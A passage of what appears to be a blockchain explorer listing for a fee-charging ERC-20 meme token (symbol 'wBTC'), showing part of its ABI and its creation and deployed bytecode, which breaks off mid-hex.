"name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setUniPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"toggleSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokensForDevelopment","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"uniPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateLimitFeeAmountForSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawTokenEmergency","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6006805461ffff60a01b191690556101a06040525f60a081905260c081905260e0819052610100819052610120819052610140819052610160819052610180819052600c819055600d819055600e819055600f81905560108190556011819055601281905560135534801562000073575f80fd5b50604051806060016040528060228152602001620028ac602291396040805180820190915260048152637742544360e01b60208201526003620000b78382620006ea565b506004620000c68282620006ea565b5050505f620000da6200047f60201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a80546001600160a01b03199081167334adbfcbea8c8028495ebda5f0d5ea7b765b89fb17909155600b8054909116734cd17104a91b3f84155a75eccfc98e5f0ba41c79179055737a250d5630b4cf539739df2c5dacb4c659f2488d608081905262000196905f1962000483565b506a52b7d2dcc80cd2e40000006064620001b2826005620007c6565b620001be9190620007e0565b6007556064620001d0826005620007c6565b620001dc9190620007e0565b6008556064620001ee826005620007c6565b620001fa9190620007e0565b6009556127106200020d826001620007c6565b620002199190620007e0565b6014555f600d819055600f819055600e81905562000238818062000800565b62000244919062000800565b600c555f60118190556013819055601281905562000263818062000800565b6200026f919062000800565b601055600160195f6200028a6005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260198452828120805486166001908117909155600b54831682528382208054871682179055600a548316825283822080548716821790556080519092168152601a93849052918220805490941681179093556200031f6005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152601a9093528183208054851660019081179091557f428bdc965569ef4717764ecfd84e88946a9a226b52b813e6ab6a7f46aad86e888054861682179055600b54821684528284208054861682179055600a54909116835290822080549093168117909255601b90620003c96005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560805182168152601b9093528183208054851660019081179091557f6790d4910a095e0e04c8daa388834616a295bac3f59038957b6d0b93a2d2168480548616821790553084528284208054861682179055600b54821684528284208054861682179055600a549091168352912080549092161790556200047833826200049b565b5062000816565b3390565b5f6200049133848462000581565b5060015b92915050565b6001600160a01b038216620004f75760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b600254620005069082620005e1565b6002556001600160a01b0382165f908152602081905260409020546200052d9082620005e1565b6001600160a01b0383165f81815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f80620005ef838562000800565b905083811015620006435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620004ee565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200067357607f821691505b6020821081036200069257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620006e5575f81815260208120601f850160051c81016020861015620006c05750805b601f850160051c820191505b81811015620006e157828155600101620006cc565b5050505b505050565b81516001600160401b038111156200070657620007066200064a565b6200071e816200071784546200065e565b8462000698565b602080601f83116001811462000754575f84156200073c5750858301515b5f19600386901b1c1916600185901b178555620006e1565b5f85815260208120601f198616915b82811015620007845788860151825594840194600190910190840162000763565b5085821015620007a257878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417620004955762000495620007b2565b5f82620007fb57634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115620004955762000495620007b2565b60805161205a620008525f395f818161076a01528181611a1b01528181611ad201528181611b0e01528181611b7a0152611bd5015261205a5ff3fe60806040526004361061022b575f3560e01c806370a0823111610129578063c0246668116100a8578063eb3252211161006d578063eb325221146106f7578063ef8700e514610725578063f2fde38b1461073a578063f887ea4014610759578063fd6b40eb1461078c575f80fd5b8063c0246668146105e8578063cf951fc014610607578063d212a69a14610627578063dd62ed3e14610694578063e16830a8146106d8575f80fd5b80638da5cb5b116100ee5780638da5cb5b1461055a57806395d89b4114610577578063963932b41461058b578063a457c2d7146105aa578063a9059cbb146105c9575f80fd5b806370a08231146104c0578063715018a6146104f45780637231d21714610508578063751039fc146105275780637571336a1461053b575f80fd5b806323b872dd116101b55780633d61aba81161017a5780633d61aba8146103f057806349bd5a5e1461040f5780634ce2b281146104465780634fbee1931461045b5780636f895e5414610492575f80fd5b806323b872dd1461036e578063313ce5671461038d57806339509351146103a85780633ccfd60b146103c75780633cf4fa93146103db575f80fd5b806310d5de53116101fb57806310d5de53146102d957806318160ddd146103075780631a8145bb146103255780631c6e8a751461033a5780631f3fed8f14610359575f80fd5b806306fdde0314610241578063095ea7b31461026b57806309afb3ce1461029a5780630b1c7182146102ba575f80fd5b3661023d5730330361023b575f80fd5b005b5f80fd5b34801561024c575f80fd5b506102556107a1565b6040516102629190611c7d565b60405180910390f35b348015610276575f80fd5b5061028a610285366004611cdf565b610831565b6040519015158152602001610262565b3480156102a5575f80fd5b5060065461028a90600160a81b900460ff1681565b3480156102c5575f80fd5b5061023b6102d4366004611d18565b610847565b3480156102e4575f80fd5b5061028a6102f3366004611d4b565b601a6020525f908152604090205460ff1681565b348015610312575f80fd5b506002545b604051908152602001610262565b348015610330575f80fd5b5061031760165481565b348015610345575f80fd5b5061023b610354366004611d66565b610912565b348015610364575f80fd5b5061031760155481565b348015610379575f80fd5b5061028a610388366004611d7f565b61095a565b348015610398575f80fd5b5060405160128152602001610262565b3480156103b3575f80fd5b5061028a6103c2366004611cdf565b6109c1565b3480156103d2575f80fd5b5061028a6109f6565b3480156103e6575f80fd5b5061031760085481565b3480156103fb575f80fd5b5061023b61040a366004611cdf565b610a52565b34801561041a575f80fd5b5060065461042e906001600160a01b031681565b6040516001600160a01b039091168152602001610262565b348015610451575f80fd5b5061031760095481565b348015610466575f80fd5b5061028a610475366004611d4b565b6001600160a01b03165f9081526019602052604090205460ff1690565b34801561049d575f80fd5b5061028a6104ac366004611d4b565b601c6020525f908152604090205460ff1681565b3480156104cb575f80fd5b506103176104da366004611d4b565b6001600160a01b03165f9081526020819052604090205490565b3480156104ff575f80fd5b5061023b610a6e565b348015610513575f80fd5b5061023b610522366004611d4b565b610ae1565b348015610532575f80fd5b5061023b610b86565b348015610546575f80fd5b5061023b610555366004611d18565b610bc9565b348015610565575f80fd5b506005546001600160a01b031661042e565b348015610582575f80fd5b50610255610c1d565b348015610596575f80fd5b5061028a6105a5366004611dbd565b610c2c565b3480156105b5575f80fd5b5061028a6105c4366004611cdf565b610c66565b3480156105d4575f80fd5b5061028a6105e3366004611cdf565b610cb3565b3480156105f3575f80fd5b5061023b610602366004611d18565b610cbf565b348015610612575f80fd5b5060065461028a90600160b01b900460ff1681565b348015610632575f80fd5b50600c54600d54600e54600f54601054601154601254601354610659979695949392919088565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c083015260e082015261010001610262565b34801561069f575f80fd5b506103176106ae366004611dd4565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156106e3575f80fd5b5061023b6106f2366004611d18565b610d13565b348015610702575f80fd5b5061028a610711366004611d4b565b601b6020525f908152604090205460ff1681565b348015610730575f80fd5b5061031760175481565b348015610745575f80fd5b5061023b610754366004611d4b565b610d67565b348015610764575f80fd5b5061042e7f000000000000000000000000000000000000000000000000000000000000000081565b348015610797575f80fd5b5061031760075481565b6060600380546107b090611e0b565b80601f01602080910402602001604051908101604052809291908181526020018280546107dc90611e0b565b80156108275780601f106107fe57610100808354040283529160200191610827565b820191905f5260205f20905b81548152906001019060200180831161080a57829003601f168201915b5050505050905090565b5f61083d338484610e51565b5060015b92915050565b6005546001600160a01b0316331461087a5760405162461bcd60e51b815260040161087190611e43565b60405180910390fd5b6006546001600160a01b03908116908316036108e85760405162461bcd60e51b815260206004820152602760248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d206044820152663ab734a830b4b960c91b6064820152608401610871565b6001600160a01b03919091165f908152601c60205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461093c5760405162461bcd60e51b815260040161087190611e43565b60068054911515600160a81b0260ff60a81b19909216919091179055565b5f610966848484610eb2565b6109b784336109b285604051806060016040528060288152602001611ffd602891396001600160a01b038a165f908152600160209081526040808320338452909152902054919061150a565b610e51565b5060019392505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909161083d9185906109b29086611542565b600b546040515f9147916001600160a01b039091169082908481818185875af1925050503d805f8114610a44576040519150601f19603f3d011682016040523d82523d5f602084013e610a49565b606091505b50909392505050565b600a54610a6a9083906001600160a01b0316836115a7565b5050565b6005546001600160a01b03163314610a985760405162461bcd60e51b815260040161087190611e43565b6005546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610b0b5760405162461bcd60e51b815260040161087190611e43565b60068054436018556001600160a01b039283166001600160b01b03199091161761010160a01b1780825582165f908152601c60209081526040808320805460ff199081166001908117909255855487168552601a8452828520805482168317905594549095168352601b909152902080549091169091179055565b6005546001600160a01b03163314610bb05760405162461bcd60e51b815260040161087190611e43565b610bbc6103e8806115b2565b610bc76103e86115fe565b565b6005546001600160a01b03163314610bf35760405162461bcd60e51b815260040161087190611e43565b6001600160a01b03919091165f908152601a60205260409020805460ff1916911515919091179055565b6060600480546107b090611e0b565b6005545f906001600160a01b03163314610c585760405162461bcd60e51b815260040161087190611e43565b50601481905560015b919050565b5f61083d33846109b285604051806060016040528060258152602001611fb260259139335f9081526001602090815260408083206001600160a01b038d168452909152902054919061150a565b5f61083d338484610eb2565b6005546001600160a01b03163314610ce95760405162461bcd60e51b815260040161087190611e43565b6001600160a01b03919091165f908152601960205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d3d5760405162461bcd60e51b815260040161087190611e43565b6001600160a01b03919091165f908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d915760405162461bcd60e51b815260040161087190611e43565b6001600160a01b038116610df65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610871565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b805f03610ec957610ec483835f611625565b505050565b6005546001600160a01b03848116911614801590610ef557506005546001600160a01b03838116911614155b8015610f0b5750600654600160b01b900460ff16155b1561119957600654600160a01b900460ff16610fa3576001600160a01b0383165f9081526019602052604090205460ff1680610f5e57506001600160a01b0382165f9081526019602052604090205460ff165b610fa35760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610871565b6001600160a01b0383165f908152601c602052604090205460ff168015610fe257506001600160a01b0382165f908152601a602052604090205460ff16155b1561105c576007548111156110575760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610871565b611111565b6001600160a01b0382165f908152601c602052604090205460ff16801561109b57506001600160a01b0383165f908152601a602052604090205460ff16155b15611111576008548111156111115760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610871565b6001600160a01b0382165f908152601b602052604090205460ff16611199576009546001600160a01b0383165f908152602081905260409020546111559083611e8c565b11156111995760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610871565b305f90815260208190526040902054601454811080159081906111c55750600654600160a81b900460ff165b80156111db5750600654600160b01b900460ff16155b80156111fe57506001600160a01b0384165f908152601c602052604090205460ff165b801561122257506001600160a01b0385165f9081526019602052604090205460ff16155b801561124657506001600160a01b0384165f9081526019602052604090205460ff16155b15611274576006805460ff60b01b1916600160b01b1790556112666116df565b6006805460ff60b01b191690555b6006546001600160a01b0386165f9081526019602052604090205460ff600160b01b9092048216159116806112c057506001600160a01b0385165f9081526019602052604090205460ff165b156112c857505f5b80156114f7575f601854431015611350576112ef60646112e98760636118c6565b90611944565b905060636112fe82605e611e9f565b6113089190611eb6565b60155f8282546113189190611e8c565b909155506063905061132b826005611e9f565b6113359190611eb6565b60175f8282546113459190611e8c565b909155506114d89050565b6001600160a01b0386165f908152601c602052604090205460ff168015611378575060105415155b1561140457601054611392906064906112e99088906118c6565b601054601354919250906113a69083611e9f565b6113b09190611eb6565b60165f8282546113c09190611e8c565b90915550506010546011546113d59083611e9f565b6113df9190611eb6565b60155f8282546113ef9190611e8c565b909155505060105460125461132b9083611e9f565b6001600160a01b0387165f908152601c602052604090205460ff16801561142c5750600c5415155b156114d857600c54611446906064906112e99088906118c6565b600c54600f549192509061145a9083611e9f565b6114649190611eb6565b60165f8282546114749190611e8c565b9091555050600c54600d546114899083611e9f565b6114939190611eb6565b60155f8282546114a39190611e8c565b9091555050600c54600e546114b89083611e9f565b6114c29190611eb6565b60175f8282546114d29190611e8c565b90915550505b80156114e9576114e9873083611625565b6114f38186611ed5565b9450505b611502868686611625565b505050505050565b5f818484111561152d5760405162461bcd60e51b81526004016108719190611c7d565b505f6115398486611ed5565b95945050505050565b5f8061154e8385611e8c565b9050838110156115a05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610871565b9392505050565b610ec4838383610e51565b6103e8826115bf60025490565b6115c99190611e9f565b6115d39190611eb6565b6007556103e8816115e360025490565b6115ed9190611e9f565b6115f79190611eb6565b6008555050565b6103e88161160b60025490565b6116159190611e9f565b61161f9190611eb6565b60095550565b61166181604051806060016040528060268152602001611fd7602691396001600160a01b0386165f90815260208190526040902054919061150a565b6001600160a01b038085165f90815260208190526040808220939093559084168152205461168f9082611542565b6001600160a01b038381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610ea5565b305f9081526020819052604081205490505f6017546015546016546117049190611e8c565b61170e9190611e8c565b9050815f0361171b575050565b601454611729906023611e9f565b8211156117415760145461173e906023611e9f565b91505b5f600282601654856117539190611e9f565b61175d9190611eb6565b6117679190611eb6565b90505f6117748483611985565b905047611780826119c6565b5f61178b4783611985565b90505f6117a7866112e9601554856118c690919063ffffffff16565b90505f6117c3876112e9601754866118c690919063ffffffff16565b90505f6117d08284611e8c565b6117da9085611ed5565b5f60168190556015819055601755479450905086158015906117fb57505f81115b156118445761180a8782611b74565b60408051878152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b600a546001600160a01b03166108fc61185d8547611ed5565b6040518115909202915f818181858888f19350505050158015611882573d5f803e3d5ffd5b50600b546040516001600160a01b039091169085156108fc029086905f818181858888f193505050501580156118ba573d5f803e3d5ffd5b50505050505050505050565b5f825f036118d557505f610841565b5f6118e08385611e9f565b9050826118ed8583611eb6565b146115a05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610871565b5f6115a083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c51565b5f6115a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061150a565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106119f9576119f9611ee8565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a75573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a999190611efc565b81600181518110611aac57611aac611ee8565b60200260200101906001600160a01b031690816001600160a01b031681525050611af7307f000000000000000000000000000000000000000000000000000000000000000084610e51565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611b4b9085905f90869030904290600401611f17565b5f604051808303815f87803b158015611b62575f80fd5b505af1158015611502573d5f803e3d5ffd5b611b9f307f000000000000000000000000000000000000000000000000000000000000000084610e51565b60405163f305d71960e01b81523060048201819052602482018490525f60448301819052606483015260848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015611c25573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611c4a9190611f86565b5050505050565b5f8183611c715760405162461bcd60e51b81526004016108719190611c7d565b505f6115398486611eb6565b5f6020808352835180828501525f5b81811015611ca857858101830151858201604001528201611c8c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611cdc575f80fd5b50565b5f8060408385031215611cf0575f80fd5b8235611cfb81611cc8565b946020939093013593505050565b80358015158114610c61575f80fd5b5f8060408385031215611d29575f80fd5b8235611d3481611cc8565b9150611d4260208401611d09565b90509250929050565b5f60208284031215611d5b575f80fd5b81356115a081611cc8565b5f60208284031215611d76575f80fd5b6115a082611d09565b5f805f60608486031215611d91575f80fd5b8335611d9c81611cc8565b92506020840135611dac81611cc8565b929592945050506040919091013590565b5f60208284031215611dcd575f80fd5b5035919050565b5f8060408385031215611de5575f80fd5b8235611df081611cc8565b91506020830135611e0081611cc8565b809150509250929050565b600181811c90821680611e1f57607f821691505b602082108103611e3d57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561084157610841611e78565b808202811582820484141761084157610841611e78565b5f82611ed057634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561084157610841611e78565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611f0c575f80fd5b81516115a081611cc8565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611f655784516001600160a01b031683529383019391830191600101611f40565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611f98575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122033ec6ca92698051cb8fd99e2d2db19f9e3d30a6327413d5711d11b95c8eb5f8e64736f6c63430008140033486f70707957726170706564426974636f696e416b6172695465736c613639496e75

Deployed Bytecode

0x60806040526004361061022b575f3560e01c806370a0823111610129578063c0246668116100a8578063eb3252211161006d578063eb325221146106f7578063ef8700e514610725578063f2fde38b1461073a578063f887ea4014610759578063fd6b40eb1461078c575f80fd5b8063c0246668146105e8578063cf951fc014610607578063d212a69a14610627578063dd62ed3e14610694578063e16830a8146106d8575f80fd5b80638da5cb5b116100ee5780638da5cb5b1461055a57806395d89b4114610577578063963932b41461058b578063a457c2d7146105aa578063a9059cbb146105c9575f80fd5b806370a08231146104c0578063715018a6146104f45780637231d21714610508578063751039fc146105275780637571336a1461053b575f80fd5b806323b872dd116101b55780633d61aba81161017a5780633d61aba8146103f057806349bd5a5e1461040f5780634ce2b281146104465780634fbee1931461045b5780636f895e5414610492575f80fd5b806323b872dd1461036e578063313ce5671461038d57806339509351146103a85780633ccfd60b146103c75780633cf4fa93146103db575f80fd5b806310d5de53116101fb57806310d5de53146102d957806318160ddd146103075780631a8145bb146103255780631c6e8a751461033a5780631f3fed8f14610359575f80fd5b806306fdde0314610241578063095ea7b31461026b57806309afb3ce1461029a5780630b1c7182146102ba575f80fd5b3661023d5730330361023b575f80fd5b005b5f80fd5b34801561024c575f80fd5b506102556107a1565b6040516102629190611c7d565b60405180910390f35b348015610276575f80fd5b5061028a610285366004611cdf565b610831565b6040519015158152602001610262565b3480156102a5575f80fd5b5060065461028a90600160a81b900460ff1681565b3480156102c5575f80fd5b5061023b6102d4366004611d18565b610847565b3480156102e4575f80fd5b5061028a6102f3366004611d4b565b601a6020525f908152604090205460ff1681565b348015610312575f80fd5b506002545b604051908152602001610262565b348015610330575f80fd5b5061031760165481565b348015610345575f80fd5b5061023b610354366004611d66565b610912565b348015610364575f80fd5b5061031760155481565b348015610379575f80fd5b5061028a610388366004611d7f565b61095a565b348015610398575f80fd5b5060405160128152602001610262565b3480156103b3575f80fd5b5061028a6103c2366004611cdf565b6109c1565b3480156103d2575f80fd5b5061028a6109f6565b3480156103e6575f80fd5b5061031760085481565b3480156103fb575f80fd5b5061023b61040a366004611cdf565b610a52565b34801561041a575f80fd5b5060065461042e906001600160a01b031681565b6040516001600160a01b039091168152602001610262565b348015610451575f80fd5b5061031760095481565b348015610466575f80fd5b5061028a610475366004611d4b565b6001600160a01b03165f9081526019602052604090205460ff1690565b34801561049d575f80fd5b5061028a6104ac366004611d4b565b601c6020525f908152604090205460ff1681565b3480156104cb575f80fd5b506103176104da366004611d4b565b6001600160a01b03165f9081526020819052604090205490565b3480156104ff575f80fd5b5061023b610a6e565b348015610513575f80fd5b5061023b610522366004611d4b565b610ae1565b348015610532575f80fd5b5061023b610b86565b348015610546575f80fd5b5061023b610555366004611d18565b610bc9565b348015610565575f80fd5b506005546001600160a01b031661042e565b348015610582575f80fd5b50610255610c1d565b348015610596575f80fd5b5061028a6105a5366004611dbd565b610c2c565b3480156105b5575f80fd5b5061028a6105c4366004611cdf565b610c66565b3480156105d4575f80fd5b5061028a6105e3366004611cdf565b610cb3565b3480156105f3575f80fd5b5061023b610602366004611d18565b610cbf565b348015610612575f80fd5b5060065461028a90600160b01b900460ff1681565b348015610632575f80fd5b50600c54600d54600e54600f54601054601154601254601354610659979695949392919088565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c083015260e082015261010001610262565b34801561069f575f80fd5b506103176106ae366004611dd4565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156106e3575f80fd5b5061023b6106f2366004611d18565b610d13565b348015610702575f80fd5b5061028a610711366004611d4b565b601b6020525f908152604090205460ff1681565b348015610730575f80fd5b5061031760175481565b348015610745575f80fd5b5061023b610754366004611d4b565b610d67565b348015610764575f80fd5b5061042e7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b348015610797575f80fd5b5061031760075481565b6060600380546107b090611e0b565b80601f01602080910402602001604051908101604052809291908181526020018280546107dc90611e0b565b80156108275780601f106107fe57610100808354040283529160200191610827565b820191905f5260205f20905b81548152906001019060200180831161080a57829003601f168201915b5050505050905090565b5f61083d338484610e51565b5060015b92915050565b6005546001600160a01b0316331461087a5760405162461bcd60e51b815260040161087190611e43565b60405180910390fd5b6006546001600160a01b03908116908316036108e85760405162461bcd60e51b815260206004820152602760248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d206044820152663ab734a830b4b960c91b6064820152608401610871565b6001600160a01b03919091165f908152601c60205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461093c5760405162461bcd60e51b815260040161087190611e43565b60068054911515600160a81b0260ff60a81b19909216919091179055565b5f610966848484610eb2565b6109b784336109b285604051806060016040528060288152602001611ffd602891396001600160a01b038a165f908152600160209081526040808320338452909152902054919061150a565b610e51565b5060019392505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909161083d9185906109b29086611542565b600b546040515f9147916001600160a01b039091169082908481818185875af1925050503d805f8114610a44576040519150601f19603f3d011682016040523d82523d5f602084013e610a49565b606091505b50909392505050565b600a54610a6a9083906001600160a01b0316836115a7565b5050565b6005546001600160a01b03163314610a985760405162461bcd60e51b815260040161087190611e43565b6005546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610b0b5760405162461bcd60e51b815260040161087190611e43565b60068054436018556001600160a01b039283166001600160b01b03199091161761010160a01b1780825582165f908152601c60209081526040808320805460ff199081166001908117909255855487168552601a8452828520805482168317905594549095168352601b909152902080549091169091179055565b6005546001600160a01b03163314610bb05760405162461bcd60e51b815260040161087190611e43565b610bbc6103e8806115b2565b610bc76103e86115fe565b565b6005546001600160a01b03163314610bf35760405162461bcd60e51b815260040161087190611e43565b6001600160a01b03919091165f908152601a60205260409020805460ff1916911515919091179055565b6060600480546107b090611e0b565b6005545f906001600160a01b03163314610c585760405162461bcd60e51b815260040161087190611e43565b50601481905560015b919050565b5f61083d33846109b285604051806060016040528060258152602001611fb260259139335f9081526001602090815260408083206001600160a01b038d168452909152902054919061150a565b5f61083d338484610eb2565b6005546001600160a01b03163314610ce95760405162461bcd60e51b815260040161087190611e43565b6001600160a01b03919091165f908152601960205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d3d5760405162461bcd60e51b815260040161087190611e43565b6001600160a01b03919091165f908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d915760405162461bcd60e51b815260040161087190611e43565b6001600160a01b038116610df65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610871565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b805f03610ec957610ec483835f611625565b505050565b6005546001600160a01b03848116911614801590610ef557506005546001600160a01b03838116911614155b8015610f0b5750600654600160b01b900460ff16155b1561119957600654600160a01b900460ff16610fa3576001600160a01b0383165f9081526019602052604090205460ff1680610f5e57506001600160a01b0382165f9081526019602052604090205460ff165b610fa35760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610871565b6001600160a01b0383165f908152601c602052604090205460ff168015610fe257506001600160a01b0382165f908152601a602052604090205460ff16155b1561105c576007548111156110575760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610871565b611111565b6001600160a01b0382165f908152601c602052604090205460ff16801561109b57506001600160a01b0383165f908152601a602052604090205460ff16155b15611111576008548111156111115760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610871565b6001600160a